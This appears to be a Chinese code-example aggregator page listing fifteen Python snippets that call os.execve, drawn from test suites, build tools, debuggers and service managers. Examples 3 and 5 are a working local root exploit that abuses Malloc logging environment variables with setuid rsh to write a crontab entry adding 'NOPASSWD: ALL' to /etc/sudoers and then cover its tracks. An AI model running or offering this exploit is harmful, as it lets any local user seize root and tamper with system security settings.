本文整理汇总了Python中os.execve方法的典型用法代码示例。如果您正苦于以下问题:Python os.execve方法的具体用法?Python os.execve怎么用?Python os.execve使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类os
的用法示例。
在下文中一共展示了os.execve方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: test_execve_invalid_env
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def test_execve_invalid_env(self):
args = [sys.executable, '-c', 'pass']
# null character in the enviroment variable name
newenv = os.environ.copy()
newenv["FRUIT\0VEGETABLE"] = "cabbage"
with self.assertRaises(TypeError):
os.execve(args[0], args, newenv)
# null character in the enviroment variable value
newenv = os.environ.copy()
newenv["FRUIT"] = "orange\0VEGETABLE=cabbage"
with self.assertRaises(TypeError):
os.execve(args[0], args, newenv)
# equal character in the enviroment variable name
newenv = os.environ.copy()
newenv["FRUIT=ORANGE"] = "lemon"
with self.assertRaises(ValueError):
os.execve(args[0], args, newenv)
示例2: test_execve_invalid_env
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def test_execve_invalid_env(self):
args = [sys.executable, '-c', 'pass']
# null character in the enviroment variable name
newenv = os.environ.copy()
newenv["FRUIT\0VEGETABLE"] = "cabbage"
with self.assertRaises(ValueError):
os.execve(args[0], args, newenv)
# null character in the enviroment variable value
newenv = os.environ.copy()
newenv["FRUIT"] = "orange\0VEGETABLE=cabbage"
with self.assertRaises(ValueError):
os.execve(args[0], args, newenv)
# equal character in the enviroment variable name
newenv = os.environ.copy()
newenv["FRUIT=ORANGE"] = "lemon"
with self.assertRaises(ValueError):
os.execve(args[0], args, newenv)
示例3: run
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def run(options):
print("Creating /etc/crontab...")
p = os.fork()
if p == 0:
os.close(1)
os.close(2)
os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)
time.sleep(1)
if "NOPASSWD" not in open("/etc/crontab").read():
print("Exploit failed.")
else:
print("Done, waiting for /etc/sudoers to update...")
while os.stat("/etc/sudoers").st_size == old_size:
time.sleep(1)
print("Exploit completed, you can now execute commands as sudo.")
subprocess.call("sudo rm -rf /etc/crontab", shell=True)
示例4: testTagHandlerDoesNotExist
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def testTagHandlerDoesNotExist(self):
myRecipe = recipes.multiTagRecipe0
myRecipe += ' r.ComponentSpec(":tag", "%(taghandlerdir)s/")\n'
multitag = self.build(myRecipe, "MultiTag", returnTrove='multitag')
self.updatePkg('multitag:runtime')
fooFile = rephelp.RegularFile(
contents = 'foo\n',
perms = 0644, tags = [ 'foo' ] )
self.addComponent('foo:runtime', [('/bam', fooFile)])
oldFuncs = (os.getuid, os.lchown, os.chroot)
self.mock(os, "getuid", lambda : 0)
self.mock(os, "lchown", lambda x, y, z : None)
self.mock(os, "chroot", lambda x :None)
# this fixes a race between new tag handler process exiting and
# writing files into the pipe for that tag handler; we let the
# write finish before the handler process terminates
origExec = os.execve
self.mock(os, "execve", lambda *args : (time.sleep(0.1),
origExec(*args)))
rc, txt = self.captureOutput(self.updatePkg, 'foo:runtime',
_removeBokenPipeErrors=True)
self.assertEquals(txt.lstrip(), '[foo] [Errno 2] No such file or directory\nerror: /usr/libexec/conary/tags/foo failed\n')
示例5: get_root
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def get_root():
env = {}
old_size = os.stat("/etc/sudoers").st_size
env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'
print "Creating /etc/crontab..."
p = os.fork()
if p == 0:
os.close(1)
os.close(2)
os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)
time.sleep(1)
if "NOPASSWD" not in open("/etc/crontab").read():
print "FAILED!"
exit(-1)
print "Done, waiting for /etc/sudoers to update..."
while os.stat("/etc/sudoers").st_size == old_size:
time.sleep(1)
print "Exploit completed."
os.system("sudo rm -rf /etc/crontab")
exit()
示例6: rustcli
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def rustcli() -> NoReturn:
thisdir = pathlib.Path(__file__).parent
os.execve(str(thisdir / 'edgedb'), sys.argv, os.environ)
# Import subcommands to register them
示例7: _spawn_posix
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def _spawn_posix(cmd, search_path=1, verbose=0, dry_run=0):
log.info(' '.join(cmd))
if dry_run:
return
exec_fn = search_path and os.execvp or os.execv
exec_args = [cmd[0], cmd]
if sys.platform == 'darwin':
global _cfg_target, _cfg_target_split
if _cfg_target is None:
_cfg_target = sysconfig.get_config_var(
'MACOSX_DEPLOYMENT_TARGET') or ''
if _cfg_target:
_cfg_target_split = [int(x) for x in _cfg_target.split('.')]
if _cfg_target:
# ensure that the deployment target of build process is not less
# than that used when the interpreter was built. This ensures
# extension modules are built with correct compatibility values
cur_target = os.environ.get('MACOSX_DEPLOYMENT_TARGET', _cfg_target)
if _cfg_target_split > [int(x) for x in cur_target.split('.')]:
my_msg = ('$MACOSX_DEPLOYMENT_TARGET mismatch: '
'now "%s" but "%s" during configure'
% (cur_target, _cfg_target))
raise DistutilsPlatformError(my_msg)
env = dict(os.environ,
MACOSX_DEPLOYMENT_TARGET=cur_target)
exec_fn = search_path and os.execvpe or os.execve
exec_args.append(env)
pid = os.fork()
if pid == 0: # in the child
try:
exec_fn(*exec_args)
except OSError, e:
sys.stderr.write("unable to execute %s: %s\n" %
(cmd[0], e.strerror))
os._exit(1)
sys.stderr.write("unable to execute %s for unknown reasons" % cmd[0])
os._exit(1)
示例8: create_execve
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def create_execve(original_name):
"""
os.execve(path, args, env)
os.execvpe(file, args, env)
"""
def new_execve(path, args, env):
if _get_apply_arg_patching():
args = patch_args(args, is_exec=True)
send_process_created_message()
return getattr(os, original_name)(path, args, env)
return new_execve
示例9: patch_new_process_functions_with_warning
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def patch_new_process_functions_with_warning():
monkey_patch_os('execl', create_warn_multiproc)
monkey_patch_os('execle', create_warn_multiproc)
monkey_patch_os('execlp', create_warn_multiproc)
monkey_patch_os('execlpe', create_warn_multiproc)
monkey_patch_os('execv', create_warn_multiproc)
monkey_patch_os('execve', create_warn_multiproc)
monkey_patch_os('execvp', create_warn_multiproc)
monkey_patch_os('execvpe', create_warn_multiproc)
monkey_patch_os('spawnl', create_warn_multiproc)
monkey_patch_os('spawnle', create_warn_multiproc)
monkey_patch_os('spawnlp', create_warn_multiproc)
monkey_patch_os('spawnlpe', create_warn_multiproc)
monkey_patch_os('spawnv', create_warn_multiproc)
monkey_patch_os('spawnve', create_warn_multiproc)
monkey_patch_os('spawnvp', create_warn_multiproc)
monkey_patch_os('spawnvpe', create_warn_multiproc)
monkey_patch_os('posix_spawn', create_warn_multiproc)
if not IS_JYTHON:
if not IS_WINDOWS:
monkey_patch_os('fork', create_warn_multiproc)
try:
import _posixsubprocess
monkey_patch_module(_posixsubprocess, 'fork_exec', create_warn_fork_exec)
except ImportError:
pass
else:
# Windows
try:
import _subprocess
except ImportError:
import _winapi as _subprocess
monkey_patch_module(_subprocess, 'CreateProcess', create_CreateProcessWarnMultiproc)
示例10: execve_from
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def execve_from(self, conf, cmd, env):
""" this code is commonly run in a child process // returns exit-code"""
runs = conf.get("Service", "Type", "simple").lower()
logg.debug("%s process for %s", runs, conf.filename())
inp = open("/dev/zero")
out = self.open_journal_log(conf)
os.dup2(inp.fileno(), sys.stdin.fileno())
os.dup2(out.fileno(), sys.stdout.fileno())
os.dup2(out.fileno(), sys.stderr.fileno())
runuser = self.expand_special(conf.get("Service", "User", ""), conf)
rungroup = self.expand_special(conf.get("Service", "Group", ""), conf)
envs = shutil_setuid(runuser, rungroup)
badpath = self.chdir_workingdir(conf) # some dirs need setuid before
if badpath:
logg.error("(%s): bad workingdir: '%s'", shell_cmd(cmd), badpath)
sys.exit(1)
env = self.extend_exec_env(env)
env.update(envs) # set $HOME to ~$USER
try:
if "spawn" in COVERAGE:
os.spawnvpe(os.P_WAIT, cmd[0], cmd, env)
sys.exit(0)
else: # pragma: nocover
os.execve(cmd[0], cmd, env)
except Exception as e:
logg.error("(%s): %s", shell_cmd(cmd), e)
sys.exit(1)
示例11: _lint
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def _lint(self):
env = os.environ.copy()
env['PYTHONPATH'] = os.path.realpath(os.path.join(
os.path.abspath(__file__), '../..'))
pylint = '/usr/opt/bs-python-2.7/bin/pylint'
if not os.path.exists(pylint):
pylint = "pylint"
cmd = [pylint,
'--rcfile=%s' % os.path.realpath(
os.path.join(os.path.abspath(__file__), '../../pylintrc')),
sys.argv[0]]
if os.isatty(sys.stdout.fileno()):
cmd.append('--output-format=colorized')
os.execve(cmd[0], cmd, env)
示例12: _execvpe_mockup
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def _execvpe_mockup(defpath=None):
"""
Stubs out execv and execve functions when used as context manager.
Records exec calls. The mock execv and execve functions always raise an
exception as they would normally never return.
"""
# A list of tuples containing (function name, first arg, args)
# of calls to execv or execve that have been made.
calls = []
def mock_execv(name, *args):
calls.append(('execv', name, args))
raise RuntimeError("execv called")
def mock_execve(name, *args):
calls.append(('execve', name, args))
raise OSError(errno.ENOTDIR, "execve called")
try:
orig_execv = os.execv
orig_execve = os.execve
orig_defpath = os.defpath
os.execv = mock_execv
os.execve = mock_execve
if defpath is not None:
os.defpath = defpath
yield calls
finally:
os.execv = orig_execv
os.execve = orig_execve
os.defpath = orig_defpath
示例13: mark
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def mark(self):
marks = []
for (_ignore_process, protocol) in self.dtraces.itervalues():
marks.append(protocol.mark())
d = gatherResults(marks)
d.addCallback(lambda ign: self.stats())
try:
os.execve(
"CalendarServer dtrace benchmarking signal", [], {})
except OSError:
pass
return d
示例14: fork_exec
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def fork_exec(cmd, keep_fds, env=None):
# copy the environment variables to set in the child process
env = {} if env is None else env
child_env = os.environ.copy()
child_env.update(env)
pid = os.fork()
if pid == 0: # pragma: no cover
close_fds(keep_fds)
os.execve(sys.executable, cmd, child_env)
else:
return pid
示例15: with_path_overlay
# 需要导入模块: import os [as 别名]
# 或者: from os import execve [as 别名]
def with_path_overlay(target, params):
"""
Overlay Python with target on the path and params
"""
cmd = [sys.executable] + params
os.execve(sys.executable, cmd, _setup_env(target))